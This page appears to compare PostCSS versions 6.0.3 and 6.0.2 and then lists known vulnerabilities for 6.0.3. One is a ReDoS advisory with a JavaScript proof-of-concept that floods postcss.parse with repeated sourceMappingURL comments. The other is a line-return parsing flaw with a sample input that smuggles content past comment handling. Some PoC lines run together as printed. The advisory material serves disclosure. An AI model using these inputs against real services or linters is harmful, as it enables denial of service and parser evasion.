PostCSS 6.0.3 represents a minor update to the popular tool for transforming styles with JavaScript plugins, following closely on the heels of version 6.0.2. While both versions share the core functionality of enabling developers to manipulate CSS with a wide array of JS plugins, a few key changes distinguish them and may influence a developer's choice between the two.
One notable difference lies in the supports-color dependency. Version 6.0.3 upgrades this dependency from version 3.2.3 to version 4.0.0. supports-color is a utility that detects color support in terminals, potentially impacting how PostCSS interacts with command-line interfaces and displays color-related information during processing. This upgrade is a major version bump, so it is likely to have breaking changes, so that has to be taken into consideration.
Additionally, postcss-parser-tests is updated to version 6.0.1 from 6.0.0. It is possible to have some improvements in how PostCSS handles CSS parsing edge cases.
While the devDependencies contain numerous tools for development, testing, and linting, the differences there are minor and likely don't directly affect the runtime behavior of PostCSS itself. The update to strip-ansi in version 6.0.3, moving to version 4.0.0 might indicate a change to how ANSI escape codes are handled when removing them, which can be relevant when dealing with console output.
Developers should evaluate the importance of terminal color support and how PostCSS interacts with their specific terminal environments when choosing between versions. The core functionalities remain consistent, making the choice dependent on nuanced compatibility considerations.
All the vulnerabilities related to the version 6.0.3 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.